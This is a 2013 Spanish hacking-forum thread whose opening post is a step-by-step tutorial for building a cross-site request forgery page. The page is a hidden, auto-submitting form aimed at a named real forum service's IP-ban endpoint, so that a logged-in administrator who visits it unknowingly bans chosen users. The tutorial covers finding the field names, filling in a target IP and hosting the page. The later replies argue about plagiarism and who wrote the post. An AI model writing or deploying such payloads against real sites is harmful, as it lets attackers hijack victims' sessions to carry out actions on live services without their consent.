[TUTORIAL] Como crear tu csrf

Iniciado por Windero, Agosto 23, 2013, 07:44:15 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Imprimir
Ir Abajo Páginas1
Acciones del Usuario
Agosto 23, 2013, 07:44:15 PM Ultima modificación: Agosto 23, 2013, 07:49:10 PM por ndk
Introducción:

Un ataque CSRF fuerza al navegador web validado de una víctima a enviar una petición a una aplicación web vulnerable, la cual entonces realiza la acción elegida a través de la víctima. Al contrario que en los ataques XSS, los cuales explotan la confianza que un usuario tiene en un sitio en particular, el cross site request forgery (CSRF) explota la confianza que un sitio tiene en un usuario en particular.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Explicando:

Lo primero es encontrar una web vulnerable a csrf, yo usare mi@ ya que esta plagada de ellos exactamente este formulario:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ese es el formulario que usare en el post, el csrf del ejemplo aplica el baneo de ip es decir puedes banear a cualquier usuario por ip un máximo de 30 días de cualquier foro mi@, recomiendo crear tu foro y probarlo desde ahí.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Lo primero para ayudar a entender el código mejor, y su posterior publicación recomiendo crearlo en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Una vez abierto pastebin copiamos esta estructura del csrf:

Código: php

<script>
function envio_csrf()
{
document.csrf1.submit()
}
</script>
<form action="modificar" method=post name="csrf1">
<input type="hidden" name="modificar" value="modificar">
<input type="hidden" name="modificar" value="modificar">
<input type="hidden" name="modificar" value="modificar">
<input type="hidden" name="modificar" value="modificar">
<body onload="envio_csrf()">



La web vulnerable ahí que ponerla en esta linea:

Código: php
<form action="http://foros.miarroba.es/baneo_ip.php?id=2099129&do=new" method=post name="csrf1">


Ahora entramos al formulario en mi caso el de baneo, y en los ''textos'' donde escribes los datos inspeccionamos el elemento, y buscamos name="modificar" value="modificar" en el apartado modificar en cada web saldrá una palabra distinta, en mi caso es ip y motivo en los 2 textbox.





Ahora en la linea del csrf la modificamos y quedaría así:

Código: php
<input type="hidden" name="ip" value="Aquí iría la ip que quisiéramos banear">


Y así sucesivamente con todos los textbox, en name el que te de el código fuente y en value lo que tu quieras que se ponga en el textbox


Y para finalizar el mas importante el de botón de continuar ya que sin eso, no se podría hacer que funcione, es lo mismo:

Inspeccionamos elemento del botón, y nos dará (en mi@):



Con esos datos la parte del csrf quedaría (que seria la ultima linea):

Código: php
<input type="hidden" name="boton_continuar" value="continuar">


Con eso terminaríamos el csrf, y solo quedaría guardarlo en php y subirlo en algún hosting.
-Un trabajo mierdero de una persona es el trabajo a tiempo completo de otra persona. (Jessica Gaston)
Agosto 23, 2013, 10:45:20 PM #1
Estás rippeando los posts de el foro No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, coloca la fuente por favor.

Saludos ;).
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)
Agosto 23, 2013, 10:45:55 PM #2
Autor del Post: IrareHS
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Deja ya de copiar temas del foro, estas llenandolo haciendo copy & paste, y sin poner creditós, que falta de verguenza.
No esperes nada, vive la vida, y que los demas hagan lo que ellos creen.
Agosto 24, 2013, 06:14:27 AM #3
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Autor del Post: IrareHS
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Deja ya de copiar temas del foro, estas llenandolo haciendo copy & paste, y sin poner creditós, que falta de verguenza.

Tienes mucha razón yo ya le advertí en otro tema, y sigue igual.

Un saludo.
Agosto 24, 2013, 08:09:05 AM #4
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Autor del Post: IrareHS
Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Deja ya de copiar temas del foro, estas llenandolo haciendo copy & paste, y sin poner creditós, que falta de verguenza.

Morenito te equivocas el post es mio, no de rare jaja ;)

Si algun mod o adm puede poner el autor original lo agradecería
Imprimir
Ir Arriba Páginas1
Acciones del Usuario